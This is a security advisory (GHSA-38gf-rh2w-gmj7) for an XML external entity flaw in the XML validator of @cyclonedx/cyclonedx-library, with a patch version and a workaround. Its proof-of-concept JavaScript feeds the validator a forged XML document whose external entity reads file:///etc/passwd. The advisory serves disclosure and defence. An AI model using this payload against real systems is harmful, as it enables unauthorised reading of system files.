GHSA-38gf-rh2w-gmj7 — @cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Affected: npm: @cyclonedx/cyclonedx-library

### Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

#### POC

```js const { Spec: { Version }, Validation: { XmlValidator } } = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5; const validator = new XmlValidator(version); const input = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE poc [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bom xmlns="http://cyclonedx.org/schema/bom/1.5"> <components> <component type="library"> <name>testing</name> <version>1.337</version> <licenses> <license> <id>&xxe;</id> </license> </licenses> </component> </components> </bom>`;

// validating this forged(^) input might lead to unintended behaviour // for the fact that the XML external entity would be taken into account. validator.validate(input).then(ve => { console.error('validation error', ve); }); ```

### Patches

This issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `.

### Workarounds

Do not run the provided XML validator on untrusted inputs.
